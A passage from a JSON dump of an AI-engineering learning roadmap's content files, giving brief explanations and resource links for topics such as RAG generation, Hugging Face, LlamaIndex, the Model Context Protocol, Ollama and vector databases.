    "content": "# Generation\n\nGeneration refers to the process where a generative language model, such as GPT, creates a response based on the information retrieved during the retrieval phase. After relevant documents or data snippets are identified using embeddings, they are passed to the generative model, which uses this information to produce coherent, context-aware, and informative responses. The retrieved content helps the model stay grounded and factual, enhancing its ability to answer questions, provide summaries, or engage in dialogue by combining retrieved knowledge with its natural language generation capabilities. This synergy between retrieval and generation makes RAG systems effective for tasks that require detailed, accurate, and contextually relevant outputs.\n\nVisit the following resources to learn more:\n\n- [@article@What is RAG (Retrieval-Augmented Generation)?](https://aws.amazon.com/what-is/retrieval-augmented-generation/)\n- [@video@Retrieval Augmented Generation (RAG) Explained in 8 Minutes!](https://www.youtube.com/watch?v=HREbdmOSQ18)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/google-adk@mbp2NoL-VZ5hZIIblNBXt.md",
    "content": "# Google ADK\n\nThe Google Agent Development Kit (ADK) is a framework designed to help developers build, test, and deploy AI agents. It provides tools and libraries that streamline the agent development process, offering features like agent orchestration, tool integration, and evaluation metrics. ADK aims to simplify the complexities of creating sophisticated AI agents capable of interacting with the real world.\n\nVisit the following resources to learn more:\n\n- [@course@ADK Crash Course - From Beginner To Expert](https://codelabs.developers.google.com/onramp/instructions#0)\n- [@official@Agent Development Kit](https://google.github.io/adk-docs/)\n- [@official@Overview of Agent Development Kit](https://docs.cloud.google.com/agent-builder/agent-development-kit/overview)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/google-gemini-api@TsG_I7FL-cOCSw8gvZH3r.md",
    "content": "# Google Gemini API\n\nThe Google Gemini API provides developers with programmatic access to Google's Gemini family of multimodal AI models. It allows applications to understand and generate content across text, images, audio, and video. Developers can use this API to build features like conversational interfaces, content creation tools, and systems that can analyze and respond to complex multi-sensory data.\n\nVisit the following resources to learn more:\n\n- [@official@Gemini API](https://ai.google.dev/gemini-api/docs)\n- [@article@Everything you need to know about the Gemini API as a developer in less than 5 minutes](https://medium.com/around-the-prompt/everything-you-need-to-know-about-the-gemini-api-as-a-developer-in-less-than-5-minutes-5e75343ccff9)\n- [@video@Introduction to Gemini APIs and AI Studio](https://www.youtube.com/watch?v=4oyqd7CB09c)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/google-gemini@oe8E6ZIQWuYvHVbYJHUc1.md",
    "content": "# Google's Gemini\n\nGoogle Gemini is an advanced AI model by Google DeepMind, designed to integrate natural language processing with multimodal capabilities, enabling it to understand and generate not just text but also images, videos, and other data types. It combines generative AI with reasoning skills, making it effective for complex tasks requiring logical analysis and contextual understanding.\n\nVisit the following resources to learn more:\n\n- [@course@Google AI Training](https://grow.google/ai/)\n- [@official@Google Gemini](https://gemini.google.com/)\n- [@official@Google's Gemini Documentation](https://workspace.google.com/solutions/ai/)\n- [@video@Welcome to the Gemini era](https://www.youtube.com/watch?v=_fuimO6ErKI)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/haystack@ebXXEhNRROjbbof-Gym4p.md",
    "content": "# Haystack\n\nLangchain\n=========\n\nHaystack is an open-source Python framework that helps you build search and question-answering agents fast. You connect your data sources, pick a language model, and set up pipelines that find the best answer to a user’s query. Haystack handles tasks such as indexing documents, retrieving passages, running the model, and ranking results. It works with many back-ends like Elasticsearch, OpenSearch, FAISS, and Pinecone, so you can scale from a laptop to a cluster. You can add features like summarization, translation, and document chat by dropping extra nodes into the pipeline. The framework also offers REST APIs, a web UI, and clear tutorials, making it easy to test and deploy your agent in production.\n\nVisit the following resources to learn more:\n\n- [@official@Haystack](https://haystack.deepset.ai/)\n- [@official@Haystack Overview](https://docs.haystack.deepset.ai/docs/intro)\n- [@opensource@deepset-ai/haystack](https://github.com/deepset-ai/haystack)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/how-llms-work@zdeuA4GbdBl2DwKgiOA4G.md",
    "content": "# How LLMs Work\n\nLarge Language Models (LLMs) are sophisticated AI systems trained on vast amounts of text data to understand, generate, and manipulate human language. They operate by learning statistical relationships between words and phrases, enabling them to predict the next word in a sequence or generate coherent text based on a given prompt. This is achieved through deep neural networks, primarily using a transformer architecture, which allows them to capture long-range dependencies in text and produce contextually relevant outputs.\n\nVisit the following resources to learn more:\n\n- [@article@What is a large language model (LLM)?](https://www.cloudflare.com/en-gb/learning/ai/what-is-large-language-model/)\n- [@article@New to LLMs? Start Here](https://towardsdatascience.com/new-to-llms-start-here/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@How Large Language Models Work](https://www.youtube.com/watch?v=5sLYAQS9sWQ)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/hugging-face-hub@YLOdOvLXa5Fa7_mmuvKEi.md",
    "content": "# Hugging Face Hub\n\nThe Hugging Face Hub is a central platform where users can discover, share, and collaborate on pre-trained models, datasets, and demos for machine learning. It hosts a vast repository of resources contributed by the community, allowing users to easily access and integrate these assets into their AI projects. The Hub provides tools for version control, model card documentation, and even web-based deployment, simplifying the process of leveraging existing AI models and contributing back to the open-source community.\n\nVisit the following resources to learn more:\n\n- [@course@The Hugging Face Hub (LLM Course)](https://huggingface.co/learn/nlp-course/en/chapter4/1)\n- [@official@Hugging Face Documentation](https://huggingface.co/docs/hub/en/index)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/hugging-face-inference-sdk@3kRTzlLNBnXdTsAEXVu_M.md",
    "content": "# Inference SDK\n\nThe Hugging Face Inference SDK is a powerful tool that allows developers to easily integrate and run inference on large language models hosted on the Hugging Face Hub. By using the `InferenceClient`, users can make API calls to various models for tasks such as text generation, image creation, and more. The SDK supports both synchronous and asynchronous operations, thus compatible with existing workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Inference](https://huggingface.co/docs/huggingface_hub/en/package_reference/inference_client)\n- [@article@Endpoint Setup](https://www.npmjs.com/package/@huggingface/inference)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/hugging-face-models@EIDbwbdolR_qsNKVDla6V.md",
    "content": "# Hugging Face Models\n\nHugging Face models are a collection of pre-trained machine learning models available through the Hugging Face platform, covering a wide range of tasks like natural language processing, computer vision, and audio processing. The platform includes models for tasks such as text classification, translation, summarization, question answering, and more, with popular models like BERT, GPT, T5, and CLIP. Hugging Face provides easy-to-use tools and APIs that allow developers to access, fine-tune, and deploy these models, fostering a collaborative community where users can share, modify, and contribute models to improve AI research and application development.\n\nVisit the following resources to learn more:\n\n- [@official@Hugging Face Models](https://huggingface.co/models)\n- [@video@How to Use Pretrained Models from Hugging Face in a Few Lines of Code](https://www.youtube.com/watch?v=ntz160EnWIc)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/hugging-face-tasks@YKIPOiSj_FNtg0h8uaSMq.md",
    "content": "# Hugging Face Tasks\n\nHugging Face supports text classification, named entity recognition, question answering, summarization, and translation. It also extends to multimodal tasks that involve both text and images, such as visual question answering (VQA) and image-text matching. Each task is done by various pre-trained models that can be easily accessed and fine-tuned through the Hugging Face library.\n\nVisit the following resources to learn more:\n\n- [@official@Task and Model](https://huggingface.co/learn/computer-vision-course/en/unit4/multimodal-models/tasks-models-part1)\n- [@official@Task Summary](https://huggingface.co/docs/transformers/v4.14.1/en/task_summary)\n- [@official@Task Manager](https://huggingface.co/docs/optimum/en/exporters/task_manager)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/hugging-face@v99C5Bml2a6148LCJ9gy9.md",
    "content": "# Hugging Face\n\nHugging Face is a leading AI company and open-source platform that provides tools, models, and libraries for natural language processing (NLP), computer vision, and other machine learning tasks. It is best known for its \"Transformers\" library, which simplifies the use of pre-trained models like BERT, GPT, T5, and CLIP, making them accessible for tasks such as text classification, translation, summarization, and image recognition.\n\nVisit the following resources to learn more:\n\n- [@course@Hugging Face Official Video Course](https://www.youtube.com/watch?v=00GKzGyWFEs&list=PLo2EIpI_JMQvWfQndUesu0nPBAtZ9gP1o)\n- [@official@Hugging Face](https://huggingface.co)\n- [@video@What is Hugging Face? - Machine Learning Hub Explained](https://www.youtube.com/watch?v=1AUjKfpRZVo)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/image-generation@49BWxYVFpIgZCCqsikH7l.md",
    "content": "# Image Generation\n\nImage generation is a process in artificial intelligence where models create new images based on input prompts or existing data. It involves using generative models like GANs (Generative Adversarial Networks), VAEs (Variational Autoencoders), or more recently, transformer-based models like DALL-E and Stable Diffusion.\n\nVisit the following resources to learn more:\n\n- [@official@DALL-E](https://openai.com/index/dall-e-2/)\n- [@article@How DALL-E 2 Actually Works](https://www.assemblyai.com/blog/how-dall-e-2-actually-works/)\n- [@video@How AI Image Generators Work (Stable Diffusion / Dall-E)](https://www.youtube.com/watch?v=1CIpzeNxIhU)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/image-understanding@fzVq4hGoa2gdbIzoyY1Zp.md",
    "content": "# Image Understanding\n\nMultimodal AI enhances image understanding by integrating visual data with other types of information, such as text or audio. By combining these inputs, AI models can interpret images more comprehensively, recognizing objects, scenes, and actions, while also understanding context and related concepts. For example, an AI system could analyze an image and generate descriptive captions, or provide explanations based on both visual content and accompanying text.\n\nVisit the following resources to learn more:\n\n- [@article@Low or High Fidelity Image Understanding - OpenAI](https://platform.openai.com/docs/guides/images)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/impact-on-product-development@qJVgKe9uBvXc-YPfvX_Y7.md",
    "content": "# Impact on Product Development\n\nAI engineering transforms product development by automating tasks, enhancing data-driven decision-making, and enabling the creation of smarter, more personalized products. It speeds up design cycles, optimizes processes, and allows for predictive maintenance, quality control, and efficient resource management. By integrating AI, companies can innovate faster, reduce costs, and improve user experiences, giving them a competitive edge in the market.\n\nVisit the following resources to learn more:\n\n- [@article@AI in Product Development: Netflix, BMW, and PepsiCo](https://www.virtasant.com/ai-today/ai-in-product-development-netflix-bmw#:~:text=AI%20can%20help%20make%20product,and%20gain%20a%20competitive%20edge.)\n- [@article@AI Product Development: Why Are Founders So Fascinated By The Potential?](https://www.techmagic.co/blog/ai-product-development/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/indexing-embeddings@5TQnO9B4_LTHwqjI7iHB1.md",
    "content": "# Indexing Embeddings\n\nEmbeddings are stored in a vector database by first converting data, such as text, images, or audio, into high-dimensional vectors using machine learning models. These vectors, also called embeddings, capture the semantic relationships and patterns within the data. Once generated, each embedding is indexed in the vector database along with its associated metadata, such as the original data (e.g., text or image) or an identifier. The vector database then organizes these embeddings to support efficient similarity searches, typically using techniques like approximate nearest neighbor (ANN) search.\n\nVisit the following resources to learn more:\n\n- [@article@Indexing & Embeddings](https://developers.llamaindex.ai/python/framework/understanding/rag/indexing/)\n- [@video@Vector Databases Simply Explained! (Embeddings & Indexes)](https://www.youtube.com/watch?v=dN0lsF2cvm4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/inference@4NtUD9V64gkp8SFudj_ai.md",
    "content": "# Inference\n\nIn artificial intelligence (AI), inference refers to the process by which a trained machine learning model makes predictions or draws conclusions from new, unseen data. Unlike training, inference involves the model applying what it has learned to make decisions without needing examples of the exact result. In essence, inference is the AI model actively functioning. For example, a self-driving car recognizing a stop sign on a road it has never encountered before demonstrates inference. The model identifies the stop sign in a new setting, using its learned knowledge to make a decision in real-time.\n\nVisit the following resources to learn more:\n\n- [@article@Inference vs Training](https://www.cloudflare.com/learning/ai/inference-vs-training/)\n- [@article@What is Machine Learning Inference?](https://hazelcast.com/glossary/machine-learning-inference/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/input-format@LCHse57rXf3sl8ml1ow0T.md",
    "content": "# Input Format\n\nInput format in prompt engineering deals with how you structure and present your prompt to a large language model (LLM). This includes the specific words used, the overall layout, and the inclusion of any examples or instructions. A well-defined input format guides the LLM towards generating the desired output, improving the relevance, accuracy, and consistency of its responses. Effective input formatting is key to unlocking the full potential of LLMs for specific tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Elements of a Prompt](https://www.promptingguide.ai/introduction/elements)\n- [@article@Does Prompt Formatting Have Any Impact on LLM Performance?](https://arxiv.org/html/2411.10541v1)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/introduction@_hYN0gEi9BL24nptEtXWU.md",
    "content": "# Introduction\n\nAI Engineering is the process of designing and implementing AI systems using pre-trained models and existing AI tools to solve practical problems. AI Engineers focus on applying AI in real-world scenarios, improving user experiences, and automating tasks, without developing new models from scratch. They work to ensure AI systems are efficient, scalable, and can be seamlessly integrated into business applications, distinguishing their role from AI Researchers and ML Engineers, who concentrate more on creating new models or advancing AI theory.\n\nVisit the following resources to learn more:\n\n- [@article@AI Engineering](https://en.wikipedia.org/wiki/Artificial_intelligence_engineering)\n- [@video@AI vs Machine Learning](https://www.youtube.com/watch?v=4RixMPF4xis)\n- [@video@AI vs Machine Learning vs Deep Learning vs GenAI](https://youtu.be/qYNweeDHiyU?si=eRJXjtk8Q-RKQ8Ms)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/jina@apVYIV4EyejPft25oAvdI.md",
    "content": "# Jina AI\n\nJina Embeddings are a family of high-performance, open-source, multilingual, and multimodal embedding models developed by Jina AI. They transform text and visual data (like images and charts) into dense numerical vectors for semantic search, RAG, and AI applications. Key features include supporting long contexts (up to 32k tokens), multi-task capabilities, and specialized versions for text-to-image and code retrieval.\n\nVisit the following resources to learn more:\n\n- [@official@Jina Embeddings](https://jina.ai/en-US/embeddings/)\n- [@official@https://jina.ai/news/jina-embeddings-v5-text-distilling-4b-quality-into-sub-1b-multilingual-embeddings/](https://jina.ai/news/jina-embeddings-v5-text-distilling-4b-quality-into-sub-1b-multilingual-embeddings/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/know-your-customers--usecases@t1SObMWkDZ1cKqNNlcd9L.md",
    "content": "# Know your Customers / Usecases\n\nTo know your customer means deeply understanding the needs, behaviors, and expectations of your target users. This ensures the tools you create are tailored precisely for their intended purpose, while also being designed to prevent misuse or unintended applications. By clearly defining the tool’s functionality and boundaries, you can align its features with the users’ goals while incorporating safeguards that limit its use in contexts it wasn’t designed for. This approach enhances both the tool’s effectiveness and safety, reducing the risk of improper use.\n\nVisit the following resources to learn more:\n\n- [@article@Assigning Roles](https://learnprompting.org/docs/basics/roles)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/lancedb@rjaCNT3Li45kwu2gXckke.md",
    "content": "# LanceDB\n\nLanceDB is a vector database designed for efficient storage, retrieval, and management of embeddings. It enables users to perform fast similarity searches, particularly useful in applications like recommendation systems, semantic search, and AI-driven content retrieval. LanceDB focuses on scalability and speed, allowing large-scale datasets of embeddings to be indexed and queried quickly, which is essential for real-time AI applications. It integrates well with machine learning workflows, making it easier to deploy models that rely on vector-based data processing, and helps manage the complexities of handling high-dimensional vector data efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@LanceDB](https://lancedb.com/)\n- [@official@LanceDB Documentation](https://docs.lancedb.com/enterprise/introduction)\n- [@opensource@LanceDB on GitHub](https://github.com/lancedb/lancedb)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/langchain-for-multimodal-apps@j9zD3pHysB1CBhLfLjhpD.md",
    "content": "# LangChain for Multimodal Apps\n\nLangChain is a framework designed to build applications that integrate multiple AI models, especially those focusing on language understanding, generation, and multimodal capabilities. For multimodal apps, LangChain facilitates seamless interaction between text, image, and even audio models, enabling developers to create complex workflows that can process and analyze different types of data.\n\nVisit the following resources to learn more:\n\n- [@official@LangChain](https://www.langchain.com/)\n- [@video@Build a Multimodal GenAI App with LangChain and Gemini LLMs](https://www.youtube.com/watch?v=bToMzuiOMhg)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/langchain@jM-Jbo0wUilhVY830hetJ.md",
    "content": "# Langchain\n\nLangChain is a development framework that simplifies building applications powered by language models, enabling seamless integration of multiple AI models and data sources. It focuses on creating chains, or sequences, of operations where language models can interact with databases, APIs, and other models to perform complex tasks. LangChain offers tools for prompt management, data retrieval, and workflow orchestration, making it easier to develop robust, scalable applications like chatbots, automated data analysis, and multi-step reasoning systems.\n\nVisit the following resources to learn more:\n\n- [@official@Langchain](https://www.langchain.com/)\n- [@video@What is LangChain?](https://www.youtube.com/watch?v=1bUy-1hGZpI)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/large-language-model-llm@wf2BSyUekr1S1q6l8kyq6.md",
    "content": "# LLMs\n\nLLMs, or Large Language Models, are advanced AI models trained on vast datasets to understand and generate human-like text. They can perform a wide range of natural language processing tasks, such as text generation, translation, summarization, and question answering. Examples include GPT-5, BERT, and DeepSeek. LLMs are capable of understanding context, handling complex queries, and generating coherent responses, making them useful for applications like chatbots, content creation, and automated support. However, they require significant computational resources and may carry biases from their training data.\n\nVisit the following resources to learn more:\n\n- [@article@What is a large language model (LLM)?](https://www.cloudflare.com/en-gb/learning/ai/what-is-large-language-model/)\n- [@article@New to LLMs? Start Here](https://towardsdatascience.com/new-to-llms-start-here/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@How Large Language Models Work](https://www.youtube.com/watch?v=5sLYAQS9sWQ)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/llama-index@JT4mBXOjvvrUnynA7yrqt.md",
    "content": "# Llama Index\n\nLlamaIndex, formerly known as GPT Index, is a tool designed to facilitate the integration of large language models (LLMs) with structured and unstructured data sources. It acts as a data framework that helps developers build retrieval-augmented generation (RAG) applications by indexing various types of data, such as documents, databases, and APIs, enabling LLMs to query and retrieve relevant information efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@Llama Index](https://docs.llamaindex.ai/en/stable/)\n- [@video@Introduction to LlamaIndex with Python (2025)](https://www.youtube.com/watch?v=cCyYGYyCka4)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/llamaindex-for-multimodal-apps@akQTCKuPRRelj2GORqvsh.md",
    "content": "# LlamaIndex for Multi-modal Apps\n\nLlamaIndex enables multi-modal apps by linking language models (LLMs) to diverse data sources, including text and images. It indexes and retrieves information across formats, allowing LLMs to process and integrate data from multiple modalities. This supports applications like visual question answering, content summarization, and interactive systems by providing structured, context-aware inputs from various content types.\n\nVisit the following resources to learn more:\n\n- [@official@LlamaIndex Multi-modal](https://docs.llamaindex.ai/en/stable/use_cases/multimodal/)\n- [@video@Multi-modal Retrieval Augmented Generation with LlamaIndex](https://www.youtube.com/watch?v=35RlrrgYDyU)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/lm-studio@a_3SabylVqzzOyw3tZN5f.md",
    "content": "# LM Studio\n\nLM Studio is a desktop application designed for discovering, downloading, and running large language models (LLMs) locally on your computer. It provides a user-friendly interface to experiment with different open-source LLMs without needing extensive technical knowledge or cloud infrastructure. Essentially, it helps you manage and interact with LLMs directly on your machine.\n\nVisit the following resources to learn more:\n\n- [@official@LMStudio](https://lmstudio.ai/)\n- [@video@LM Studio Tutorial: Run Large Language Models (LLM) on Your Laptop](https://www.youtube.com/watch?v=ygUEbCpOOLg)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/manual-implementation@6xaRB34_g0HGt-y1dGYXR.md",
    "content": "# Manual Implementation of AI Agents\n\nManually implementing AI agents involves crafting their logic and behavior from the ground up, without relying heavily on pre-built frameworks or automated tools. This approach requires writing code to define how the agent perceives its environment, makes decisions, and takes actions, often involving explicit programming of algorithms for tasks like perception, planning, and learning. It offers maximum control and customization but demands a deep understanding of AI principles and software engineering.\n\nVisit the following resources to learn more:\n\n- [@official@A practical guide to building agents - OpenAI](https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf)\n- [@official@Create custom subagents - Claude](https://code.claude.com/docs/en/sub-agents)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/mcp-client@po0fIZYaFhRbNlza7sB37.md",
    "content": "# MCP Client\n\nThe MCP Client is a software component that allows AI agents to interact with a Model Context Protocol (MCP) server. It handles the communication, serialization, and deserialization of data exchanged between the agent and the server, enabling the agent to access and manage contextual information relevant to its tasks. This client simplifies the process of integrating agents with the MCP ecosystem.\n\nVisit the following resources to learn more:\n\n- [@course@Model Context Protocol (MCP) Course](https://huggingface.co/learn/mcp-course/en/unit0/introduction)\n- [@official@Understanding MCP clients](https://modelcontextprotocol.io/docs/learn/client-concepts#understanding-mcp-clients)\n- [@video@The Complete Guide to Building AI Agents for Beginners](https://youtu.be/MOyl58VF2ak?si=-QjRD_5y3iViprJX)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/mcp-host@MabZ9jOrSj539C5qZrVBd.md",
    "content": "# MCP Host\n\nThe MCP Host is a central component within the Model Context Protocol (MCP) framework, responsible for managing and coordinating interactions between AI agents and the environment. It acts as a bridge, providing a standardized interface for agents to access and utilize contextual information, tools, and resources. The host handles requests from agents, ensures proper authorization and security, and facilitates communication with external systems or data sources.\n\nVisit the following resources to learn more:\n\n- [@course@Model Context Protocol (MCP) Course](https://huggingface.co/learn/mcp-course/en/unit0/introduction)\n- [@official@Concepts of MCP](https://modelcontextprotocol.io/docs/learn/architecture#concepts-of-mcp)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/mcp-server@8Xkd88EjX3GE_9DWQhr7G.md",
    "content": "# MCP Server\n\nThe MCP Server acts as a central hub for managing and serving contextual information to AI agents. It's responsible for receiving requests from agents, retrieving relevant context from various data sources, and delivering that context in a standardized format. This allows agents to make more informed decisions by leveraging external knowledge and data.\n\nVisit the following resources to learn more:\n\n- [@course@Model Context Protocol (MCP) Course](https://huggingface.co/learn/mcp-course/en/unit0/introduction)\n- [@official@Understanding MCP Servers](https://modelcontextprotocol.io/docs/learn/server-concepts#understanding-mcp-servers)\n- [@article@Awesome MCP Servers](https://mcpservers.org/)\n- [@video@The Complete Guide to Building AI Agents for Beginners](https://youtu.be/MOyl58VF2ak?si=-QjRD_5y3iViprJX)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/meta-llama@OkYO-aSPiuVYuLXHswBCn.md",
    "content": "# Meta Llama\n\nMeta Llama is a family of large language models (LLMs) developed by Meta AI. These models are designed to be open-source and accessible, allowing researchers and developers to build and experiment with LLMs without the restrictions of proprietary models. Llama models have different versions and sizes, and they aim to provide a capable and efficient base for various natural language processing tasks.\n\nVisit the following resources to learn more:\n\n- [@course@Building with Llama 4](https://www.deeplearning.ai/short-courses/building-with-llama-4/)\n- [@official@Llama](https://www.llama.com/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/mistral@n-Ud2dXkqIzK37jlKItN4.md",
    "content": "# Mistral AI\n\nMistral AI is a company focused on developing open-weight, large language models (LLMs) to provide high-performance AI solutions. Mistral aims to create models that are both efficient and versatile, making them suitable for a wide range of natural language processing tasks, including text generation, translation, and summarization. By releasing open-weight models, Mistral promotes transparency and accessibility, allowing developers to customize and deploy AI solutions more flexibly compared to proprietary models.\n\nVisit the following resources to learn more:\n\n- [@official@Mistral AI](https://mistral.ai/)\n- [@video@Mistral AI: The Gen AI Start-up you did not know existed](https://www.youtube.com/watch?v=vzrRGd18tAg)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/model-context-protocol-mcp@AeHkNU-uJ_gBdo5-xdpEu.md",
    "content": "# Model Context Protocol (MCP)\n\nModel Context Protocol (MCP) provides a standardized way for AI agents to manage and share contextual information. It defines a structure for representing the agent's current understanding of the environment, user, and goals, enabling more effective communication and collaboration between different components of an AI system or across multiple agents. This protocol facilitates the seamless transfer of relevant data, ensuring that each agent has the necessary information to make informed decisions and perform its tasks efficiently.\n\nVisit the following resources to learn more:\n\n- [@course@Model Context Protocol (MCP) Course](https://huggingface.co/learn/mcp-course/en/unit0/introduction)\n- [@official@Model Context Protocol](https://modelcontextprotocol.io/)\n- [@opensource@Model Context Protocol](https://github.com/modelcontextprotocol)\n- [@article@Discover more aritlces on MCP](https://towardsdatascience.com/tag/mcp/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/models-on-hugging-face@dLEg4IA3F5jgc44Bst9if.md",
    "content": "# Models on Hugging Face\n\nEmbedding models are used to convert raw data like text, code, or images into high-dimensional vectors that capture semantic meaning. These vector representations allow AI systems to compare, cluster, and retrieve information based on similarity rather than exact matches. Hugging Face provides a wide range of pretrained embedding models, which are commonly used for tasks like semantic search, recommendation systems, duplicate detection, and retrieval-augmented generation (RAG). These models can be accessed through libraries like `transformers` or `sentence-transformers`, making it easy to generate high-quality embeddings for both general-purpose and task-specific applications.\n\nVisit the following resources to learn more:\n\n- [@official@Hugging Face Embedding Models](https://huggingface.co/models?pipeline_tag=feature-extraction)\n- [@video@Hugging Face - Text embeddings & semantic search](https://www.youtube.com/watch?v=OATCgQtNX2o)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/mongodb-atlas@j6bkm0VUgLkHdMDDJFiMC.md",
    "content": "# MongoDB Atlas\n\nMongoDB Atlas, traditionally known for its document database capabilities, now includes vector search functionality, making it a strong option as a vector database. This feature allows developers to store and query high-dimensional vector data alongside regular document data. With Atlas’s vector search, users can perform similarity searches on embeddings of text, images, or other complex data, making it ideal for AI and machine learning applications like recommendation systems, image similarity search, and natural language processing tasks. The seamless integration of vector search within the MongoDB ecosystem allows developers to leverage familiar tools and interfaces while benefiting from advanced vector-based operations for sophisticated data analysis and retrieval.\n\nVisit the following resources to learn more:\n\n- [@official@Vector Search in MongoDB Atlas](https://www.mongodb.com/products/platform/atlas-vector-search)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/multi-agents@kG1bkF2oY21CJOm9zhdpn.md",
    "content": "# Multi-Agent Systems\n\nMulti-agent systems involve the coordinated behavior of multiple intelligent agents within an environment. These agents interact with each other, potentially cooperating or competing, to achieve individual or collective goals. The complexity arises from the need for agents to reason about the actions, intentions, and knowledge of other agents to make informed decisions and effectively navigate the environment.\n\nVisit the following resources to learn more:\n\n- [@article@What is a multi-agent system?](https://www.ibm.com/think/topics/multiagent-system)\n- [@article@Multi-Agent Systems](https://huggingface.co/learn/agents-course/en/unit2/smolagents/multi_agent_systems)\n- [@article@Guide to multi-agent systems (MAS)](https://cloud.google.com/discover/what-is-a-multi-agent-system)\n- [@article@Agentic AI 103: Building Multi-Agent Teams](https://towardsdatascience.com/agentic-ai-103-building-multi-agent-teams/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/multimodal-ai-usecases@sGR9qcro68KrzM8qWxcH8.md",
    "content": "# Multimodal AI Usecases\n\nMultimodal AI powers applications like visual question answering, content moderation, and enhanced search engines. It drives smarter virtual assistants and interactive AR apps, combining text, images, and audio for richer, more intuitive user experiences across e-commerce, accessibility, and entertainment.\n\nVisit the following resources to learn more:\n\n- [@official@Hugging Face Multimodal Models](https://huggingface.co/learn/computer-vision-course/en/unit4/multimodal-models/a_multimodal_world)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/multimodal-ai@W7cKPt_UxcUgwp8J6hS4p.md",
    "content": "# Multimodal AI\n\nMultimodal AI is an approach that combines and processes data from multiple sources, such as text, images, audio, and video, to understand and generate responses. By integrating different data types, it enables more comprehensive and accurate AI systems, allowing for tasks like visual question answering, interactive virtual assistants, and enhanced content understanding. This capability helps create richer, more context-aware applications that can analyze and respond to complex, real-world scenarios.\n\nVisit the following resources to learn more:\n\n- [@article@A Multimodal World - Hugging Face](https://huggingface.co/learn/computer-vision-course/en/unit4/multimodal-models/a_multimodal_world)\n- [@article@Multimodal AI - Google](https://cloud.google.com/use-cases/multimodal-ai?hl=en)\n- [@article@What Is Multimodal AI? A Complete Introduction](https://www.splunk.com/en_us/blog/learn/multimodal-ai.html)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/nanobanana-api@6y73FLjshnqxV8BTGUeiu.md",
    "content": "# NanoBanana API\n\nThe NanoBanana API is a tool designed to facilitate the integration and processing of data from multiple modalities, such as text, images, and audio. It provides a unified interface for managing diverse data types, enabling developers to build AI systems that can understand and reason about information from various sources simultaneously. This API typically includes functionalities for data ingestion, feature extraction, fusion techniques, and output generation tailored for multimodal applications.\n\nVisit the following resources to learn more:\n\n- [@official@NanoBanana API](https://nanobananaapi.ai/)\n- [@article@Generating Consistent Imagery with Gemini](https://towardsdatascience.com/generating-consistent-imagery-with-gemini/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ollama@rTT2UnvqFO3GH6ThPLEjO.md",
    "content": "# Ollama\n\nOllama is a platform that offers large language models (LLMs) designed to run locally on personal devices, enabling AI functionality without relying on cloud services. It focuses on privacy, performance, and ease of use by allowing users to deploy models directly on laptops, desktops, or edge devices, providing fast, offline AI capabilities. With tools like the Ollama SDK, developers can integrate these models into their applications for tasks such as text generation, summarization, and more, benefiting from reduced latency, greater data control, and seamless local processing.\n\nVisit the following resources to learn more:\n\n- [@official@Ollama](https://ollama.com/)\n- [@article@Ollama: Easily run LLMs locally](https://klu.ai/glossary/ollama)\n- [@video@What is Ollama? Running Local LLMs Made Simple](https://www.youtube.com/watch?v=5RIOQuHOihY)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/open-ai-embeddings-api@l6priWeJhbdUD5tJ7uHyG.md",
